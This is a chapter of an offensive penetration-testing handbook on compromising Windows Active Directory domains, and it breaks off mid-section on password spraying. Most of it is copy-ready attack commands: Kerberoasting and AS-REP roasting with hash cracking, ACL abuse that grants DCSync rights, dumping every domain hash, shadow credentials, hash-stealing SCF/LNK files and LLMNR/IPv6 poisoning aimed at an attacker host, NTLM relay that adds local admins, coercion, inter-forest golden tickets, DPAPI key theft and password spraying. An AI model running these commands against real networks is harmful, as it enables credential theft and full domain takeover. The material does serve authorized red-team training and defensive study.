Chapter 7: Active Directory Attacks & Domain Compromise¶
Tags: #active-directory #bloodhound #kerberoasting #asrep-roasting #dcsync #llmnr-poisoning #responder #inveigh #password-spray #acl-abuse #domain-trust #ntds #pass-the-hash #golden-ticket
Overview¶
Active Directory is the prize. Every technique in this chapter assumes you have at least one foothold in the domain (even an unprivileged domain user account). The chapter follows a privilege escalation ladder: no creds → low-privilege domain user → local admin → Domain Admin → forest-level control.
Master AD Attack Decision Tree¶
What do you have right now?
│
├── NO domain creds at all?
│ ├── Run LLMNR/NBT-NS poisoning (§ 6) to capture NTLMv2 hashes → crack them
│ ├── Run password spray with common passwords (§ 8) using user list from OSINT
│ └── AS-REP Roast users without preauth (§ 3) if you can enumerate usernames
│
├── Low-privilege domain user?
│ ├── § 1: Enumerate everything (BloodHound, PowerView, PowerShell AD module)
│ ├── § 2: Kerberoast SPNs → crack → get service account creds
│ ├── § 3: AS-REP Roast → crack → more creds
│ ├── § 4: Check ACL abuses (WriteDACL, GenericAll, ForceChangePassword)
│ ├── § 8: Password spray (maybe reused passwords)
│ ├── bloodyAD — enumerate writable ACLs from Linux (§1g)
│ ├── Check GMSA ReadGMSAPassword delegations
│ └── Check tombstoned AD objects for plaintext credentials
│
├── Local admin on one host?
│ ├── Dump LSASS → get domain user hashes/tickets → reuse (Chapter 4 §5)
│ ├── § 5: DCSync if the account has replication rights (rare but happens)
│ └── SMB relay attack (§ 7) to escalate to DA via NTLM relay
│
├── Domain Admin or equivalent?
│ ├── § 5: DCSync → dump ALL domain hashes → NTDS.dit
│ ├── § 15: Domain trusts → escalate to other forests/domains
│ ├── § 16: Post-DA pillaging (GPO, LAPS, delegation, cleartext creds)
│ ├── Extract DPAPI domain backup key → decrypt all user DPAPI secrets
│ ├── Cross-forest enumeration with -Server -Credential (§15 expanded)
│ └── lsadump::trust → inter-forest trust key → golden ticket cross-forest
│
└── Already have NTLM hash of a domain user?
└── Pass-the-Hash (Chapter 4 §8) → lateral movement → repeat this chapter
1. Enumeration — Run Before Any Attack¶
Info
Enumerate completely before attacking. BloodHound will show you the shortest path to DA. Never spray or brute-force without first understanding account lockout policy.
1a. BloodHound — Full Domain Mapping¶
# Step 1: Start neo4j and BloodHound on attack box
sudo neo4j start
bloodhound & # Opens GUI
# Step 2: Collect data (from Linux, needs domain creds)
bloodhound-python -u '<USER>' -p '<PASS>' -ns <DC_IP> -d <DOMAIN> -c all
bloodhound-python -u '<USER>' -p '<PASS>' --hashes '<LMHASH>:<NTLM>' -ns <DC_IP> -d <DOMAIN> -c all
# Step 3: Upload JSON files to BloodHound GUI
# "Upload Data" button → select all .json files generated
# Collect from Windows (SharpHound)
.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
.\SharpHound.exe -c Group,LocalAdmin,Session,Trusts,ACL,ObjectProps
# Transfer zip to attacker and upload to BloodHound
Key BloodHound queries: - "Find Shortest Paths to Domain Admins" - "Find All Kerberoastable Users" - "Find AS-REP Roastable Users" - "Find Workstations where Domain Users can RDP" - "Find Servers where Domain Users can RDP"
# Custom: Who has WinRM access?
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group))
MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer)
RETURN p2
# Custom: SQL Admins
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group))
MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer)
RETURN p2
1b. PowerView — Targeted Queries¶
Import-Module .\PowerView.ps1
# Domain basics
Get-Domain
Get-DomainController
Get-DomainPolicy
# User enumeration
Get-DomainUser -Identity <USER>
Get-DomainUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # SPNs for Kerberoasting
Get-DomainUser -PreauthNotRequired | select samaccountname # AS-REP Roastable users
Get-DomainUser -UACFilter PASSWD_NOTREQD | select samaccountname # No password required
# Group membership
Get-DomainGroup | select name
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Enterprise Admins"
# WinRM / RDP access check
Get-NetLocalGroupMember -ComputerName <HOSTNAME> -GroupName "Remote Management Users"
Get-NetLocalGroupMember -ComputerName <HOSTNAME> -GroupName "Remote Desktop Users"
# Computers
Get-DomainComputer | select dnshostname,operatingsystem
# SID conversion
$sid = Convert-NameToSid <USERNAME>
# ACL enumeration
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# GPO
Get-DomainGPO | select displayname
# Trust relationships
Get-DomainTrust -Filter *
1g. bloodyAD — Linux-Based AD Enumeration & Exploitation¶
# Enumerate writable ACLs for current principal
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> get writable
bloodyAD -u <USER> -H :<NTHASH> -d <DOMAIN> --host <DC_IP> get writable
# Get object attributes
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> \
get object <USERNAME> --attr memberOf,description,msDS-ManagedPassword
# Set SPN for targeted Kerberoasting (GenericWrite required)
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> \
set object <TARGET_USER> servicePrincipalName -v 'fake/spn01'
# Remove SPN after roasting:
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> \
set object <TARGET_USER> servicePrincipalName -v ''
# Read GMSA password
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> \
get object '<GMSA_NAME>$' --attr msDS-ManagedPassword
# Add user to group (AddSelf/GenericWrite)
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> \
add groupMember '<GROUP_DN>' '<USER_DN>'
1c. Password Policy (Check Before Spraying)¶
# From Linux — no auth
enum4linux -P <DC_IP>
ldapsearch -h <DC_IP> -x -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=*)" pwdHistoryLength minPwdLength maxPwdAge pwdProperties
# From Linux — with creds
crackmapexec smb <DC_IP> -u <USER> -p <PASS> --pass-pol
# From Windows
net accounts /domain
(Get-ADDefaultDomainPasswordPolicy).LockoutThreshold
1d. User Enumeration (No Auth)¶
# Kerbrute — validate usernames via Kerberos (no password, no lockout)
kerbrute userenum -d <DOMAIN> --dc <DC_IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_ad_users.txt
# enum4linux-ng — null session
enum4linux-ng -U <DC_IP>
# rpcclient — null session
rpcclient -U "" -N <DC_IP>
rpcclient > enumdomusers
1e. DNS / LDAP Enumeration¶
# LDAP anonymous bind
ldapsearch -h <DC_IP> -x -b "DC=<DOMAIN>,DC=<TLD>" -s sub "*" | grep -E "userPrincipalName|sAMAccountName|cn:"
# adidnsdump — DNS record dump (requires domain user)
adidnsdump -u <DOMAIN>\\<USER> ldap://<DC_IP>
adidnsdump -u <DOMAIN>\\<USER> ldap://<DC_IP> -r # Resolve all records
head records.csv
# windapsearch — full LDAP dump
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASS> --da # Domain Admins
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASS> -PU # Privileged users
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASS> -U # All users
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASS> -C # All computers
1f. SMB Share Hunting¶
# List shares
smbmap -u <USER> -p <PASS> -H <DC_IP>
smbmap -u <USER> -p '<NTLM>' -H <DC_IP> -r SYSVOL # Recursive listing
# CrackMapExec — enumerate shares across subnet
crackmapexec smb <SUBNET>/24 -u <USER> -p <PASS> --shares
# Check for GPP passwords (old Group Policy Preferences)
crackmapexec smb <DC_IP> -u <USER> -p <PASS> -M gpp_autologin
crackmapexec smb <DC_IP> -u <USER> -p <PASS> -M gpp_password
Snaffler — automated credential hunting in shares
# Run on Windows domain-joined host
.\Snaffler.exe -s -o snaffler-output.csv
.\Snaffler.exe -s -o output.csv -v # Verbose
2. Kerberoasting¶
Info
Any domain user can request a TGS ticket for any SPN. The ticket is encrypted with the service account's NTLM hash. We crack it offline to get the service account password. High-value targets: sqlsvc, svc_*, any account with adminCount=1.
2a. Linux — GetUserSPNs.py¶
# List SPNs (no ticket request)
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS>
# Request tickets for all SPNs
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -request
# Request specific user ticket
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -request-user <SPN_USER> -outputfile <SPN_USER>_tgs
# Crack
hashcat -m 13100 <SPN_USER>_tgs /usr/share/wordlists/rockyou.txt
hashcat -m 13100 <SPN_USER>_tgs /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
2b. Windows — Rubeus¶
# Statistics (how many Kerberoastable accounts, encryption types)
.\Rubeus.exe kerberoast /stats
# Roast all (RC4 only — faster to crack)
.\Rubeus.exe kerberoast /nowrap
# Roast only high-value accounts (admincount=1)
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
# Roast specific user
.\Rubeus.exe kerberoast /user:<SPN_USER> /nowrap
# OPSEC: only target accounts that DON'T support AES (less logging)
.\Rubeus.exe kerberoast /rc4opsec /ldaps /nowrap
2c. Windows — PowerView¶
# Get TGS and export to CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\spn_tickets.csv -NoTypeInformation
cat .\spn_tickets.csv | cut -d, -f5 # Extract hash column
Kerberoasting / ASREPRoasting from Linux (impacket)¶
# Kerberoasting — with password
impacket-GetUserSPNs <DOMAIN>/<USER>:'<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast.txt
# Kerberoasting — with NT hash
impacket-GetUserSPNs <DOMAIN>/<USER> -hashes :<NTHASH> -dc-ip <DC_IP> -request -outputfile kerberoast.txt
# Cross-forest Kerberoasting
# IMPORTANT: target domain must be resolvable — add to /etc/hosts first
impacket-GetUserSPNs <SOURCE_DOMAIN>/<USER> -hashes :<NTHASH> \
-dc-ip <TARGET_DC_IP> -target-domain <TARGET_DOMAIN> \
-request -outputfile cross-forest-kerberoast.txt
# ASREPRoasting — with password
impacket-GetNPUsers <DOMAIN>/<USER>:'<PASS>' -dc-ip <DC_IP> -request -outputfile asrep.txt
# ASREPRoasting — with NT hash
impacket-GetNPUsers <DOMAIN>/<USER> -hashes :<NTHASH> -dc-ip <DC_IP> -request -outputfile asrep.txt
# Cross-forest ASREPRoasting
impacket-GetNPUsers <SOURCE_DOMAIN>/<USER> -hashes :<NTHASH> \
-dc-ip <TARGET_DC_IP> -target-domain <TARGET_DOMAIN> \
-request -outputfile cross-forest-asrep.txt
# Crack
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt # Kerberoast (RC4)
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt # Kerberoast (AES256)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt # ASREPRoast
3. AS-REP Roasting¶
Info
Users with "Do not require Kerberos preauthentication" set can be AS-REP Roasted — we request their TGT without knowing their password, and the KDC returns an encrypted blob we can crack offline.
3a. Linux — GetNPUsers.py¶
# No credentials — requires valid username list
GetNPUsers.py <DOMAIN>/ -dc-ip <DC_IP> -no-pass -usersfile valid_ad_users.txt
# With credentials (finds all eligible accounts)
GetNPUsers.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
# Crack
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
3b. Windows — Rubeus¶
# Find roastable users first
Get-DomainUser -PreauthNotRequired | select samaccountname
# Roast specific user
.\Rubeus.exe asreproast /user:<USER> /nowrap /format:hashcat
# Roast all eligible users
.\Rubeus.exe asreproast /nowrap /format:hashcat
4. ACL / ACE Abuse¶
Info
ACL misconfigurations are common. One weak ACE on the wrong object can be a direct path to DA. BloodHound visualizes these; PowerView lets you enumerate and exploit them.
4a. Enumerate ACL Weaknesses¶
# Find objects your user controls
$sid = Convert-NameToSid <USERNAME>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} | select ObjectDN,ActiveDirectoryRights,ObjectAceType
# Find interesting ACL on DA group
Get-DomainObjectACL -ResolveGUIDs -Identity "Domain Admins" | select IdentityReferenceName, ActiveDirectoryRights
# Automated: find all interesting ACEs
Find-InterestingDomainAcl
4b. Exploitation by ACE Type¶
ForceChangePassword (can reset user's password)
$Pass = ConvertTo-SecureString '<NEWPASS>' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $Pass
# or:
Set-ADAccountPassword -Identity <TARGET_USER> -NewPassword $Pass -Reset
GenericAll on user (full control — Kerberoast, reset password, or add to group)
# Option 1: Set SPN and Kerberoast (more stealthy than password reset)
Set-DomainObject -Identity <TARGET_USER> -Set @{serviceprincipalname='fakeservice/fake'}
Get-DomainUser -Identity <TARGET_USER> | Get-DomainSPNTicket -Format Hashcat
# Clear SPN after:
Set-DomainObject -Identity <TARGET_USER> -Clear serviceprincipalname
# Option 2: Reset password
$Pass = ConvertTo-SecureString '<NEWPASS>' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $Pass
GenericAll on group (add yourself to the group)
Add-DomainGroupMember -Identity '<TARGET_GROUP>' -Members '<YOUR_USER>'
# Verify:
Get-DomainGroupMember -Identity '<TARGET_GROUP>' | select MemberName
WriteDACL on object/domain (grant yourself DCSync rights)
# Grant your user DCSync rights on the domain
Add-DomainObjectAcl -TargetIdentity "DC=<DOMAIN>,DC=<TLD>" -PrincipalIdentity <YOUR_USER> -Rights DCSync
# Now run DCSync (§ 5)
WriteOwner on object (become owner, then grant yourself GenericAll)
Set-DomainObjectOwner -Identity <TARGET> -OwnerIdentity <YOUR_USER>
Add-DomainObjectAcl -TargetIdentity <TARGET> -PrincipalIdentity <YOUR_USER> -Rights All
Shadow Credentials (GenericWrite Abuse — Preferred over ForceChangePassword)¶
Info
Shadow Credentials is quieter than ForceChangePassword (no password change event) and quieter than targeted Kerberoasting (no new SPN creation). Requires ADCS with PKINIT. If available, prefer this over other GenericWrite techniques.
# Linux — pyWhisker
pip3 install pywhisker
python3 pywhisker.py -d domain.local -u attacker -p 'Password' \
--target <TARGET_USER> --action add
# Output: device_id.pfx + password
# Authenticate with shadow credential
python3 PKINITtools/gettgtpkinit.py domain.local/<TARGET_USER> -cert-pfx device_id.pfx -pfx-pass <PFX_PASSWORD> user.ccache
export KRB5CCNAME=user.ccache
secretsdump.py -k -no-pass domain.local/<TARGET_USER>@<TARGET_IP> # if it's a machine account → DCSync
# Windows — Whisker
.\Whisker.exe add /target:<TARGET_USER>
# Outputs: Rubeus.exe asktgt command to run
.\Rubeus.exe asktgt /user:<TARGET_USER> /certificate:<BASE64_CERT> /password:<PFX_PASS> /nowrap /ptt
GenericWrite on target account decision tree:
├── ADCS + PKINIT available?
│ └── YES → Shadow Credentials (pyWhisker/Whisker) — quietest method
├── No ADCS?
│ └── Can set SPN? → Targeted Kerberoasting → hashcat -m 13100
│ └── Cannot set SPN? → ForceChangePassword (loudest — password change event)
└── GenericWrite on computer account? → RBCD (see delegation §10c)
Targeted Kerberoasting via GenericWrite¶
If you have GenericWrite on a user account, set a fake SPN, request the TGS, crack offline, then clean up.
# Set fake SPN on target
Set-DomainObject -Identity <TARGET_USER> -Set @{serviceprincipalname='fake/spn01'}
# Request TGS and grab hash
Get-DomainUser <TARGET_USER> | Get-DomainSPNTicket | fl hash
# Or via Rubeus:
.\Rubeus.exe kerberoast /user:<TARGET_USER> /nowrap
# Remove SPN after cracking:
Set-DomainObject -Identity <TARGET_USER> -Clear serviceprincipalname
SCF / LNK File Poisoning on Writable Shares¶
Plant files in writable SMB shares. When a user browses the share, Windows automatically authenticates to the attacker-specified UNC path, sending NTLMv2 hashes.
# Generate all file types with ntlm_theft:
python3 ntlm_theft.py -g all -s <ATTACKER_IP> -f @trigger
# Drop generated files into writable share
# Manual SCF file:
cat > @printer.scf << 'EOF'
[Shell]
Command=2
IconFile=\\<ATTACKER_IP>\share\icon.ico
[Taskbar]
Command=ToggleDesktop
EOF
# Manual LNK — use PowerShell:
$obj = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut("C:\share\@printer.lnk")
$link.TargetPath = "\\<ATTACKER_IP>\share\file.exe"
$link.Save()
# Listener on Kali (capture hashes):
sudo responder -I <INTERFACE> -wv
# Relay instead of capture (requires SMB signing disabled on target):
sudo impacket-ntlmrelayx -tf targets.txt -smb2support --no-http-server
# Check SMB signing:
nxc smb <SUBNET>/24 --gen-relay-list relay_targets.txt
GMSA Password Retrieval¶
Group Managed Service Accounts have their passwords stored in the
msDS-ManagedPasswordAD attribute. Accounts withReadGMSAPasswordrights can read this attribute.
# Enumerate who has ReadGMSAPassword rights (BloodHound or manual):
# BloodHound query: "Find accounts that can read GMSA passwords"
# From Linux — nxc:
nxc ldap <DC_IP> -u <USER> -p '<PASS>' -d <DOMAIN> --gmsa
# From Linux — bloodyAD:
bloodyAD -u <USER> -p '<PASS>' -d <DOMAIN> --host <DC_IP> \
get object '<GMSA_NAME>$' --attr msDS-ManagedPassword
# From Windows — PowerView:
$mp = Get-ADServiceAccount -Identity <GMSA_NAME> -Properties msDS-ManagedPassword
$mp.'msDS-ManagedPassword'
# Use retrieved NT hash:
evil-winrm -i <TARGET_IP> -u '<GMSA_NAME>$' -H <NT_HASH>
nxc smb <TARGET_IP> -u '<GMSA_NAME>$' -H <NT_HASH>
Tombstoned AD Object Reanimation¶
Deleted AD objects (tombstones) retain most of their attributes — including description fields that may contain plaintext passwords. Accounts with the
Reanimate-Tombstonesextended right can restore them.
# List tombstoned objects:
Get-ADObject -Filter {Deleted -eq $true} -IncludeDeletedObjects -Properties * |
Select-Object Name, DistinguishedName, Description, whenChanged | Format-List
# Search for specific username:
Get-ADObject -Filter {Deleted -eq $true -and Name -like '*<USERNAME>*'} `
-IncludeDeletedObjects -Properties Description | Select-Object Name, Description
# Reanimate (restore) object:
Restore-ADObject -Identity '<ObjectGUID>'
# Or with PowerView (if Get-ADObject unavailable):
Get-DomainObject -SearchBase "CN=Deleted Objects,DC=<DOMAIN>,DC=<TLD>" `
-IncludeDeletedObjects -Properties samaccountname,description | Format-List
Exchange Trusted Subsystem → WriteDACL → DCSync¶
The Exchange Trusted Subsystem group has WriteDACL on the domain root by default. If you can add a user to this group (or are already a member), you can grant yourself DCSync rights.
# Add user to Exchange Trusted Subsystem (if you have AddSelf/GenericWrite):
Add-DomainGroupMember -Identity "Exchange Trusted Subsystem" -Members <YOUR_USER>
# Grant DCSync rights to your user via WriteDACL:
Add-DomainObjectAcl -TargetIdentity "DC=<DOMAIN>,DC=<TLD>" `
-PrincipalIdentity <YOUR_USER> `
-Rights DCSync
# DCSync from Kali:
impacket-secretsdump '<DOMAIN>/<YOUR_USER>:<PASS>'@<DC_IP>
impacket-secretsdump '<DOMAIN>/<YOUR_USER>' -hashes :<NTHASH> @<DC_IP>
Inter-Forest Trust Key Attack¶
With DA on the source forest, extract the inter-realm trust key and forge a referral TGT with ExtraSids targeting the destination forest's Enterprise Admins SID. Note: SID filtering is enabled by default on external trusts. Test for filtering — if
ACCESS_DENIEDon privileged shares despite valid ticket, SID filtering is active.
# Step 1: Extract trust keys — on DC with Mimikatz
lsadump::trust /patch
# Note the [In] key (aes256) for source→target direction
# This key signs referral tickets sent TO the target forest
# Step 2: Get target Enterprise Admins SID
Get-DomainGroup "Enterprise Admins" -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP>
# Or: impacket-lookupsid <TARGET_DOMAIN>/Administrator@<TARGET_DC_IP> -hashes :<HASH>
# Step 3: Forge inter-realm golden ticket — WITHOUT /ptt (need base64 for asktgs)
.\Rubeus.exe golden /aes256:<TRUST_KEY_AES256> `
/domain:<SOURCE_DOMAIN> `
/sid:<SOURCE_DOMAIN_SID> `
/sids:<TARGET_ENTERPRISE_ADMINS_SID> `
/user:Administrator `
/service:krbtgt `
/target:<TARGET_DOMAIN> `
/nowrap
# Step 4: Exchange inter-realm TGT for service ticket
.\Rubeus.exe asktgs /ticket:<BASE64_FROM_GOLDEN> `
/service:cifs/<TARGET_DC_FQDN> `
/dc:<TARGET_DC_IP> `
/nowrap /ptt
# CRITICAL: Target DC hostname must be in hosts file for Kerberos to work
# Using IP causes NTLM fallback — ticket won't be used
# Windows: Add-Content C:\Windows\System32\drivers\etc\hosts "<IP> <FQDN>"
# Linux: echo "<IP> <FQDN>" >> /etc/hosts
# Step 5: Test access
dir \\<TARGET_DC_FQDN>\C$
DPAPI Domain Backup Key — Decrypt All User Secrets¶
As Domain Admin, extract the DPAPI domain backup key (DPAPI master key) which can decrypt ALL DPAPI-protected secrets for ALL users in the domain: Credential Manager, browser passwords, certificate private keys, etc.
# Extract from DC — Mimikatz on Windows:
lsadump::backupkeys /system:<DC_FQDN> /export
# Produces: ntds_capi_*.pvk (private key file)
# Extract from Kali — impacket:
impacket-dpapi backupkeys --action retrieve -t <DOMAIN>/<USER>:<PASS>@<DC_IP>
# Decrypt all user credential blobs with SharpDPAPI + backup key:
.\SharpDPAPI.exe credentials /pvk:<backup_key.pvk>
.\SharpDPAPI.exe vaults /pvk:<backup_key.pvk>
.\SharpDPAPI.exe rdg /pvk:<backup_key.pvk> # RDP saved credentials
.\SharpDPAPI.exe certificates /pvk:<backup_key.pvk> # Certificate private keys
# Machine DPAPI (no backup key needed — use machine masterkeys):
.\SharpDPAPI.exe machinemasterkeys
.\SharpDPAPI.exe machinecredentials
Cross-Forest Enumeration — PowerView with -Server and -Credential¶
Cross-forest PowerView queries will silently return nothing OR throw "An operations error occurred" without explicit
-Serverand-Credentialparameters. The bidirectional trust provides authentication but the LDAP target must be specified explicitly.
# Build credential object for cross-forest queries:
$pass = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<SOURCE_DOMAIN>\Administrator', $pass)
# All cross-forest queries require both -Server and -Credential:
Get-DomainController -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP> -Credential $cred
Get-DomainUser -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP> -Credential $cred
Get-DomainUser -SPN -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP> -Credential $cred
Get-DomainGroup -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP> -Credential $cred
Get-DomainComputer -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP> -Credential $cred
Get-DomainObjectACL -Domain <TARGET_DOMAIN> -Server <TARGET_DC_IP> -Credential $cred -ResolveGUIDs
# From Linux — more reliable for cross-forest:
bloodyAD -u Administrator -H :<NTHASH> -d <SOURCE_DOMAIN> --host <TARGET_DC_IP> get writable
impacket-GetUserSPNs <SOURCE_DOMAIN>/Administrator -hashes :<NTHASH> -dc-ip <TARGET_DC_IP> -target-domain <TARGET_DOMAIN> -request
nxc ldap <TARGET_DC_IP> -u Administrator -H <NTHASH> -d <SOURCE_DOMAIN> --users
5. DCSync — Dump All Domain Hashes¶
Warning
DCSync requires an account with "Replicating Directory Changes" + "Replicating Directory Changes All" rights. Domain Admins and Enterprise Admins have this. If you granted DCSync rights via WriteDACL (§ 4b), use your account. This generates Windows Security Event ID 4662.
5a. Linux — secretsdump¶
# Dump all hashes
impacket-secretsdump -outputfile <DOMAIN>_hashes -just-dc <DOMAIN>/<USER>:<PASS>@<DC_IP>
# NTLM only (faster)
impacket-secretsdump -just-dc-ntlm -outputfile <DOMAIN>_hashes <DOMAIN>/<USER>:<PASS>@<DC_IP>
# Dump specific user
impacket-secretsdump -just-dc-user <DOMAIN>\\administrator <DOMAIN>/<USER>:<PASS>@<DC_IP>
# With NTLM hash (no password)
impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM>
# Output files generated:
# <PREFIX>.ntds → user:rid:lmhash:nthash entries
# <PREFIX>.ntds.kerberos → Kerberos keys
# <PREFIX>.ntds.cleartext → cleartext (only if reversible encryption enabled)
5b. Windows — Mimikatz DCSync¶
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\administrator
mimikatz # lsadump::dcsync /domain:<DOMAIN> /all
6. LLMNR / NBT-NS Poisoning (Capture Hashes Without Creds)¶
Info
When a Windows host can't resolve a name via DNS, it broadcasts LLMNR/NBT-NS queries on the local network. Responder answers these broadcasts and captures NTLMv2 hashes. Best run during business hours when users are active.
6a. Responder (Linux)¶
# Listen mode — passive, no poisoning (test detection first)
sudo responder -I <INTERFACE> -A
# Active poisoning (captures hashes)
sudo responder -I <INTERFACE>
# Check captured hashes
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-<CAPTURED_IP>.txt
# Crack captured NTLMv2
hashcat -m 5600 <CAPTURED_HASH_FILE> /usr/share/wordlists/rockyou.txt
6b. Inveigh (Windows — PowerShell)¶
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
# Press ESC for interactive console
# In console:
GET NTLMV2UNIQUE # Show unique captured hashes
GET CLEARTEXT # Show any cleartext captures
STOP # Stop poisoning
6c. mitm6 + WPAD (IPv6 DHCPv6 Poisoning)¶
Info
mitm6 poisons IPv6 DHCPv6 to claim DNS resolver role, then serves fake WPAD. Victims auto-authenticate to your WPAD server via NTLM. Highly effective during business hours (08:00–10:00) when machines reconnect. Works even when LLMNR is disabled.
# Requirements: impacket, mitm6 (pip install mitm6)
# Caution: impacts all IPv6 traffic on subnet — coordinate timing
# 1. Start mitm6 (spoofs IPv6 DNS)
sudo mitm6 -d domain.local --ignore-nofqdn
# 2. Start ntlmrelayx targeting LDAP/LDAPS on DC (parallel terminal)
# Option A: Relay to LDAP — create new computer account (useful for RBCD)
ntlmrelayx.py -6 -t ldaps://<DC_IP> -wh fakewpad.domain.local \
--delegate-access --no-smb-server --add-computer attacker_comp
# Option B: Relay to LDAP — dump domain info
ntlmrelayx.py -6 -t ldap://<DC_IP> -wh fakewpad.domain.local \
--no-smb-server -l lootdir/
# Option C: Relay to SMB (if SMB signing disabled)
ntlmrelayx.py -6 -t smb://<TARGET_IP> -wh fakewpad.domain.local \
-smb2support -c "whoami > C:\temp\pwned.txt"
# 3. Wait for authentication events (highest during 08:00-10:00 and 13:00-15:00)
# Machine accounts will appear first (WPAD requests), then user accounts
# Note: mitm6 + LDAP relay → --delegate-access creates RBCD → see §10c for RBCD exploitation
7. SMB Relay Attack¶
Info
Instead of cracking captured NTLMv2 hashes, relay them directly to another host. If SMB signing is disabled on the relay target, you get code execution as the relayed user.
# Step 1: Find hosts without SMB signing (vulnerable to relay)
crackmapexec smb <SUBNET>/24 --gen-relay-list no_signing.txt
# Step 2: Modify Responder config to NOT respond to SMB/HTTP (we relay instead)
# Edit /usr/share/responder/Responder.conf:
# SMB = Off
# HTTP = Off
# Step 3: Start ntlmrelayx to relay to the target list
ntlmrelayx.py -tf no_signing.txt -smb2support
# Step 4: Start Responder
sudo responder -I <INTERFACE>
# Step 5: Wait for a connection — ntlmrelayx will relay it and dump SAM/execute commands
# To execute a command instead:
ntlmrelayx.py -tf no_signing.txt -smb2support -c "net localgroup administrators <USER> /add"
# To relay to LDAP and grant DCSync:
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <CONTROLLED_USER>
Authentication Coercion (Coercer / PetitPotam)¶
Info
Coercion forces target machines to authenticate to your host, giving you their NTLM hash or relayable auth. PetitPotam (MS-EFSR) and PrinterBug (MS-RPRN) are the most reliable. Use with ntlmrelayx or Responder.
# Coercer — tests and exploits multiple coercion methods (MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM)
pip3 install coercer
python3 Coercer.py -u user -p 'Password' -d domain.local -t <TARGET_IP> -l <LHOST>
# PetitPotam — MS-EFSR coercion (works on DCs, unpatched)
python3 PetitPotam.py -u user -p 'Password' -d domain.local <LHOST> <TARGET_IP>
# PrinterBug (MS-RPRN) — classic, works on most Windows Server versions
python3 printerbug.py domain.local/user:password@<TARGET_IP> <LHOST>
# Coercion → Relay to LDAP for RBCD or ADCS ESC8:
# Terminal 1: ntlmrelayx.py -t ldaps://<DC_IP> --delegate-access
# Terminal 2: python3 Coercer.py -t <VICTIM_IP> -l <LHOST>
# → Victim machine account authenticates to you → relayed to DC LDAP
# → msDS-AllowedToActOnBehalfOfOtherIdentity written → RBCD
# Coercion → Relay to ADCS HTTP for ESC8:
# Terminal 1: ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp --adcs --template DomainController
# Terminal 2: python3 Coercer.py -t <DC_IP> -l <LHOST>
# → DC authenticates → relay gets DC cert → DCSync
8. Password Spraying¶
Warning
Always check the domain lockout policy before spraying. Default is 5 attempts → lockout. Spray maximum (threshold - 2) times, then wait the full lockout duration (typically 30 min). Spraying the domain accounts of all users is highly visible — generate a targeted user list first.
8a. Linux — Kerbrute (Kerberos, quieter than SMB)¶
# Single password spray
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> valid_ad_users.txt '<PASSWORD>'
# Example with common passwords
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> users.txt 'Welcome1'
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> users.txt 'Password123'
8b. Linux — CrackMapExec¶
# Domain password spray
crackmapexec smb <DC_IP> -u valid_ad_users.txt -p '<PASSWORD>' --continue-on-success
# Local admin spray (different credential set)
crackmapexec smb <SUBNET>/24 -u <USER> -p '<PASSWORD>' --local-auth --continue-on-success
8c. Windows — DomainPasswordSpray.ps1¶
Import-Module .\DomainPasswordSpray.ps1
